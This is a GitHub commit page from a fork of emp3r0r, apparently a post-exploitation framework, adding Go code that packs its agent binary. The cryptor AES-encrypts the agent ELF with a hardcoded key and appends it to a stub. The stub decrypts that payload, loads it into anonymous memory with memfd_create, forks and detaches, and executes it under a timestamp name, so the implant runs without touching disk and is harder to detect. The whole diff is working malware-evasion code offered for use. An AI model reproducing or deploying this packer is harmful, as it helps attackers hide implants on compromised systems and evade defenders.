forked from jm33-m0/emp3r0r
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
packer: pack agent binary with AES runtime cryptor
- Loading branch information
Showing
5 changed files
with
222 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
#!/bin/bash | ||
|
||
( | ||
cd ./cmd/cryptor/ || exit 1 | ||
go build -o cryptor.exe && | ||
mv ./cryptor.exe ../../ | ||
) | ||
|
||
echo "run cryptor.exe" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,64 @@ | ||
package main | ||
|
||
import ( | ||
"flag" | ||
"fmt" | ||
"io/ioutil" | ||
"log" | ||
"os" | ||
"os/exec" | ||
|
||
"github.com/jm33-m0/emp3r0r/packer/internal/utils" | ||
) | ||
|
||
func main() { | ||
inputELF := flag.String("input", "./agent", "The ELF file to pack") | ||
flag.Parse() | ||
|
||
// read file | ||
elfBytes, err := ioutil.ReadFile(*inputELF) | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
|
||
// encrypt | ||
key := utils.GenAESKey(utils.Key) | ||
encELFBytes := utils.AESEncrypt(key, elfBytes) | ||
if encELFBytes == nil { | ||
log.Fatalf("failed to encrypt %s", *inputELF) | ||
} | ||
|
||
// build stub | ||
err = os.Chdir("./cmd/stub") | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
out, err := exec.Command("go", "build").CombinedOutput() | ||
if err != nil { | ||
log.Fatalf("go build failed: %v\n%s", err, out) | ||
} | ||
err = os.Rename("./stub", "../../stub.exe") | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
err = os.Chdir("../../") | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
|
||
// write | ||
toWrite, err := ioutil.ReadFile("stub.exe") | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
toWrite = append(toWrite, []byte(utils.Sep)...) | ||
toWrite = append(toWrite, encELFBytes...) | ||
err = ioutil.WriteFile(fmt.Sprintf("%s.packed.exe", *inputELF), toWrite, 0600) | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
|
||
// done | ||
os.Remove(*inputELF) | ||
log.Printf("%s has been packed as %s.packed.exe", *inputELF, *inputELF) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,72 @@ | ||
package main | ||
|
||
import ( | ||
"bytes" | ||
"fmt" | ||
"io/ioutil" | ||
"log" | ||
"os" | ||
"syscall" | ||
"time" | ||
"unsafe" | ||
|
||
"github.com/jm33-m0/emp3r0r/packer/internal/utils" | ||
) | ||
|
||
const ( | ||
mfdCloexec = 0x0001 | ||
memfdCreateX64 = 319 | ||
fork = 57 | ||
) | ||
|
||
func runFromMemory(procName string, buffer []byte) { | ||
fdName := "" // *string cannot be initialized | ||
|
||
fd, _, _ := syscall.Syscall(memfdCreateX64, uintptr(unsafe.Pointer(&fdName)), uintptr(mfdCloexec), 0) | ||
_, _ = syscall.Write(int(fd), buffer) | ||
|
||
fdPath := fmt.Sprintf("/proc/self/fd/%d", fd) | ||
|
||
switch child, _, _ := syscall.Syscall(fork, 0, 0, 0); child { | ||
case 0: | ||
break | ||
case 1: | ||
// Fork failed! | ||
log.Fatal("fork failed") | ||
break | ||
default: | ||
// Parent exiting... | ||
os.Exit(0) | ||
} | ||
|
||
_ = syscall.Umask(0) | ||
_, _ = syscall.Setsid() | ||
_ = syscall.Chdir("/") | ||
|
||
file, _ := os.OpenFile("/dev/null", os.O_RDWR, 0) | ||
syscall.Dup2(int(file.Fd()), int(os.Stdin.Fd())) | ||
file.Close() | ||
|
||
_ = syscall.Exec(fdPath, []string{procName}, nil) | ||
} | ||
|
||
func main() { | ||
wholeStub, err := ioutil.ReadFile(os.Args[0]) | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
// length of the whole stub file | ||
elfbegining := bytes.LastIndex(wholeStub, []byte(utils.Sep)) | ||
elfBytes := wholeStub[(elfbegining + len(utils.Sep)):] | ||
|
||
// decrypt attached ELF file | ||
key := utils.GenAESKey(utils.Key) | ||
elfdata := utils.AESDecrypt(key, elfBytes) | ||
if elfdata == nil { | ||
log.Fatal("AESDecrypt failed") | ||
} | ||
|
||
// write ELF to memory and run it | ||
procName := fmt.Sprintf("%d", time.Now().UnixNano()) | ||
runFromMemory(procName, elfdata) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
module github.com/jm33-m0/emp3r0r/packer | ||
|
||
go 1.13 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
package utils | ||
|
||
import ( | ||
"crypto/aes" | ||
"crypto/cipher" | ||
"crypto/md5" | ||
"crypto/rand" | ||
"fmt" | ||
"io" | ||
"log" | ||
) | ||
|
||
const ( | ||
Sep = "c7c53de5-c719-4c12-be88-c227a59b4286" | ||
Key = "fb9dce35-8190-4a88-a832-64a39b975ccf-ThisIsYourAESKey" | ||
) | ||
|
||
// MD5Sum calc md5 of a string | ||
func MD5Sum(text string) string { | ||
sumbytes := md5.Sum([]byte(text)) | ||
return fmt.Sprintf("%x", sumbytes) | ||
} | ||
|
||
// generate AES key from any string | ||
func GenAESKey(seed string) []byte { | ||
md5sum := MD5Sum(seed) | ||
return []byte(md5sum[:])[:32] | ||
} | ||
|
||
func AESEncrypt(key, plaintext []byte) []byte { | ||
block, err := aes.NewCipher(key) | ||
if err != nil { | ||
log.Print(err) | ||
return nil | ||
} | ||
|
||
// The IV needs to be unique, but not secure. Therefore it's common to | ||
// include it at the beginning of the ciphertext. | ||
ciphertext := make([]byte, aes.BlockSize+len(plaintext)) | ||
iv := ciphertext[:aes.BlockSize] | ||
if _, err := io.ReadFull(rand.Reader, iv); err != nil { | ||
log.Print(err) | ||
return nil | ||
} | ||
|
||
stream := cipher.NewCFBEncrypter(block, iv) | ||
stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext) | ||
|
||
return ciphertext | ||
} | ||
|
||
func AESDecrypt(key, ciphertext []byte) []byte { | ||
block, err := aes.NewCipher(key) | ||
if err != nil { | ||
log.Print(err) | ||
return nil | ||
} | ||
|
||
// The IV needs to be unique, but not secure. Therefore it's common to | ||
// include it at the beginning of the ciphertext. | ||
if len(ciphertext) < aes.BlockSize { | ||
log.Print("ciphertext too short") | ||
return nil | ||
} | ||
iv := ciphertext[:aes.BlockSize] | ||
ciphertext = ciphertext[aes.BlockSize:] | ||
|
||
stream := cipher.NewCFBDecrypter(block, iv) | ||
|
||
// XORKeyStream can work in-place if the two arguments are the same. | ||
stream.XORKeyStream(ciphertext, ciphertext) | ||
|
||
return ciphertext | ||
} |